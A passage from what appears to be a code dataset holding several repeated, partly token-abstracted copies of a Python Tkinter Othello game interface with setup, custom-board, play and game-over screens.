self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n\n\nclass Handler:\n\n def __init__(self):\n self.Game = None\n self.GameParams = {}\n self.Window = Window(self)\n self.Window.mainloop()\n <function token>\n <function token>\n <function token>\n\n def Get_Current_Player(self) ->str:\n if self.Game.Running:\n if self.Game.Current_Player == 'B':\n return 'black'\n else:\n return 'white'\n else:\n return 'None'\n\n def Get_Game_Type(self) ->str:\n g = self.Game.Game_Type\n if g == 1:\n return 'SIMPLE'\n else:\n return 'FULL'\n <function token>\n\n def Move(self, x: int, y: int) ->bool:\n complete = self.Game.Next_Move(x, y)\n if complete:\n self.Update_Game()\n self.Game_Complete_Check()\n return True\n self.Update_Game()\n self.Game_Complete_Check()\n return False\n\n def Get_Winner(self) ->tuple:\n return self.Game.Check_Winner()\n\n def Game_Complete_Check(self):\n if self.Is_Running() == False:\n self.Window.showPage('Postgame')\n self.Window.Pages['Postgame'].Update()\n <function token>\n\n\nclass Window(tk.Tk):\n\n def __init__(self, controller, *args, **kwargs):\n tk.Tk.__init__(self, *args, **kwargs)\n self.Handler = controller\n self.title('Othello')\n try:\n self.iconbitmap('Icon.ico')\n except:\n pass\n self.minsize(600, 600)\n self.container = tk.Frame(self)\n self.container.pack(side='top', fill='both', expand=True)\n self.container.grid_rowconfigure(0, weight=1)\n self.container.grid_columnconfigure(0, weight=1)\n self.Pages = {}\n for page in (Pregame, Custom_Board, Game, Postgame):\n new = page(self.container, self)\n self.Pages[page.FrameName] = new\n new.grid(row=0, column=0, sticky='nsew')\n self.showPage('Pregame')\n\n def showPage(self, pagename: str):\n page = self.Pages[pagename]\n page.tkraise()\n\n def Begin_Game(self):\n self.Handler.Start_Game()\n\n def Get_Current_Player(self) ->str:\n return self.Handler.Get_Current_Player()\n\n def Replay(self):\n self.Pages['Pregame'].__GUI_Reset__()\n self.Pages['Game'].Reset_Game()\n self.Handler.Replay()\n self.showPage('Pregame')\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n\n\nclass Handler:\n\n def __init__(self):\n self.Game = None\n self.GameParams = {}\n self.Window = Window(self)\n self.Window.mainloop()\n <function token>\n <function token>\n <function token>\n\n def Get_Current_Player(self) ->str:\n if self.Game.Running:\n if self.Game.Current_Player == 'B':\n return 'black'\n else:\n return 'white'\n else:\n return 'None'\n <function token>\n <function token>\n\n def Move(self, x: int, y: int) ->bool:\n complete = self.Game.Next_Move(x, y)\n if complete:\n self.Update_Game()\n self.Game_Complete_Check()\n return True\n self.Update_Game()\n self.Game_Complete_Check()\n return False\n\n def Get_Winner(self) ->tuple:\n return self.Game.Check_Winner()\n\n def Game_Complete_Check(self):\n if self.Is_Running() == False:\n self.Window.showPage('Postgame')\n self.Window.Pages['Postgame'].Update()\n <function token>\n\n\nclass Window(tk.Tk):\n\n def __init__(self, controller, *args, **kwargs):\n tk.Tk.__init__(self, *args, **kwargs)\n self.Handler = controller\n self.title('Othello')\n try:\n self.iconbitmap('Icon.ico')\n except:\n pass\n self.minsize(600, 600)\n self.container = tk.Frame(self)\n self.container.pack(side='top', fill='both', expand=True)\n self.container.grid_rowconfigure(0, weight=1)\n self.container.grid_columnconfigure(0, weight=1)\n self.Pages = {}\n for page in (Pregame, Custom_Board, Game, Postgame):\n new = page(self.container, self)\n self.Pages[page.FrameName] = new\n new.grid(row=0, column=0, sticky='nsew')\n self.showPage('Pregame')\n\n def showPage(self, pagename: str):\n page = self.Pages[pagename]\n page.tkraise()\n\n def Begin_Game(self):\n self.Handler.Start_Game()\n\n def Get_Current_Player(self) ->str:\n return self.Handler.Get_Current_Player()\n\n def Replay(self):\n self.Pages['Pregame'].__GUI_Reset__()\n self.Pages['Game'].Reset_Game()\n self.Handler.Replay()\n self.showPage('Pregame')\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', 